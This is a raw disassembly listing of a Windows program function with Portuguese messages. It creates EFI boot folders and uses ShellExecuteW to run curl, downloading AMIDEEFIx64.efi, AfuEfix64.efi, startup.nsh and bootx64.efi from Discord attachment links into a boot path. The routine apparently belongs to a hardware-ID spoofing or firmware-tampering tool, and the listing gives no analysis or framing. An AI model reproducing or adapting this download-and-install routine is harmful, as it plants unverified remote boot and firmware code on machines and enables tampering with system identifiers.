mov qword [rbp + 0x18], r13
lea rax, [rbp + 0x360]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], r13w
jne 0x14005e720
lea rdx, [rbp + 0x360]
lea rcx, [rbp]
call fcn.140063220
mov r8d, 4
lea rdx, str.efi
lea rcx, [rbp]
call fcn.140060940
mov qword [rbp - 0x50], r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x14005e7c1
mov rcx, qword [rbp]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e7bc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e7bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
mov rcx, qword [rbp - 0x50]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
cmp rax, 5
jb 0x14005edf8
cmp qword [rbp - 0x48], 7
lea rax, str._boot
mov qword [rsp + 0x30], 5
lea r9, [rbp - 0x60]
cmova r9, qword [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.140063f60
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005e83d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005e83d
lea rdx, str.Erro_ao_criar_a_pasta_efi.
jmp 0x14005e86b
cmp qword [rbp - 8], 7
lea rcx, [rbp - 0x20]
cmova rcx, qword [rbp - 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14005e88c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14005e88c
lea rdx, str.Erro_ao_criar_a_pasta_boot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140061f00
lea rdx, [0x140062340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005ec1a
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x60]
call fcn.1400609c0
mov rdx, rax
lea r8, str.AMIDEEFIx64.efi
lea rcx, [rbp + 0x230]
call fcn.1400625f0
lea rcx, [rbp + 0x60]
call fcn.140044b90
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x60]
call fcn.1400609c0
mov rdx, rax
lea r8, str.AfuEfix64.efi
lea rcx, [rbp + 0xa0]
call fcn.1400625f0
lea rcx, [rbp + 0x60]
call fcn.140044b90
lea r8, [rbp + 0x230]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804522005438474_AMIDEEFIx64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.1400626d0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.1400625f0
mov rcx, rax
call fcn.140060930
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x140101938]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
call fcn.140044b90
lea rcx, [rbp + 0x80]
call fcn.140044b90
lea r8, [rbp + 0xa0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198804543593529394_AfuEfix64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.1400626d0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.1400625f0
mov rcx, rax
call fcn.140060930
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x140101938]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
call fcn.140044b90
lea rcx, [rbp + 0x80]
call fcn.140044b90
lea r8, str._startup.nsh
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x40]
call fcn.140062660
lea r8, str._bootx64.efi
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.140062660
lea r8, [rbp + 0x40]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805528051200030_startup.nsh__o__
lea rcx, [rbp + 0x80]
call fcn.1400626d0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.1400625f0
mov rcx, rax
call fcn.140060930
mov dword [rsp + 0x28], r13d
mov r9, rax
mov qword [rsp + 0x20], r13
lea r8, str.curl
xor ecx, ecx
lea rdx, [0x140101938]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
mov rbx, rax
call fcn.140044b90
lea rcx, [rbp + 0x80]
call fcn.140044b90
cmp rbx, 0x20
ja 0x14005ea6b
lea rdx, str.Erro_ao_baixar_o_arquivo_startup.nsh.
jmp 0x14005ebd4
lea r8, [rbp]
lea rdx, str.https:__cdn.discordapp.com_attachments_1198365905843933185_1198805527728242779_bootx64.efi__o__
lea rcx, [rbp + 0x80]
call fcn.1400626d0
mov rdx, rax
lea r8, str.___nul_2_1
lea rcx, [rbp + 0x60]
call fcn.1400625f0
mov rcx, rax
call fcn.140060930
mov r9, rax
mov dword [rsp + 0x28], r13d
lea r8, str.curl
mov qword [rsp + 0x20], r13
lea rdx, [0x140101938]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x60]
mov rbx, rax
call fcn.140044b90
lea rcx, [rbp + 0x80]
call fcn.140044b90
cmp rbx, 0x20
ja 0x14005eaea
lea rdx, str.Erro_ao_baixar_o_arquivo_bootx64.efi.
jmp 0x14005ebd4
lea rcx, [rbp + 0x230]
call fcn.140060930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005ebcd
lea rcx, [rbp + 0xa0]
call fcn.140060930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005ebcd
lea rcx, [rbp + 0x40]
call fcn.140060930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005ebcd
lea rcx, [rbp]
call fcn.140060930
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14005ebcd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Arquivos_baixados_com_sucesso_em:
call fcn.140062740
mov rcx, rax
lea rdx, [rbp + 0x360]
call fcn.140062740
lea rdx, [0x140062910]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp]
call fcn.140044b90
lea rcx, [rbp + 0x40]
call fcn.140044b90
lea rcx, [rbp + 0xa0]
call fcn.140044b90
lea rcx, [rbp + 0x230]
call fcn.140044b90
lea rcx, [rbp - 0x20]
call fcn.140044b90
lea rcx, [rbp - 0x60]
call fcn.140044b90
xor eax, eax
jmp 0x14005ecad
lea rdx, str.Erro_ao_baixar_os_arquivos.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140061f00
lea rdx, [0x140062340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp]
call fcn.140044b90
lea rcx, [rbp + 0x40]
call fcn.140044b90
lea rcx, [rbp + 0xa0]
call fcn.140044b90
lea rcx, [rbp + 0x230]
call fcn.140044b90
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14005ec56
mov rcx, qword [rbp - 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ec51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005ec9e
call fcn.1400cf980
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
cmp rdx, 7
jbe 0x14005ecaa
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eca5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005eca5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cf980
mov eax, r12d
movaps xmm14, xmmword [rsp + 0x740]
movaps xmm13, xmmword [rsp + 0x750]
mov r15, qword [rsp + 0x7d0]
movaps xmm11, xmmword [rsp + 0x770]
movaps xmm10, xmmword [rsp + 0x780]
movaps xmm9, xmmword [rsp + 0x790]
movaps xmm8, xmmword [rsp + 0x7a0]
movaps xmm7, xmmword [rsp + 0x7b0]
movaps xmm6, xmmword [rsp + 0x7c0]
movaps xmm15, xmmword [rsp + 0x730]
mov r14, qword [rsp + 0x7d8]
mov rbx, qword [rsp + 0x800]
mov rdi, qword [rsp + 0x810]
mov rsi, qword [rsp + 0x808]
movaps xmm12, xmmword [rsp + 0x760]
mov r12, qword [rsp + 0x7e0]
add rsp, 0x7e8
pop r13
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Nenhum_diret
call fcn.140061f00
lea rdx, [0x140062340]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14005ecaa
mov rcx, qword [0x14031e088]
mov rdx, qword [0x14031e098]
test rdx, rdx
je 0x14005ed92
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
mov rcx, qword [0x14031e088]
mov qword [0x14031e098], r13
test rcx, rcx
je 0x14005eda4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x14031e088], r13
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r12d
jmp 0x14005ed04
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x38], r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x38], r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.14002d850
int3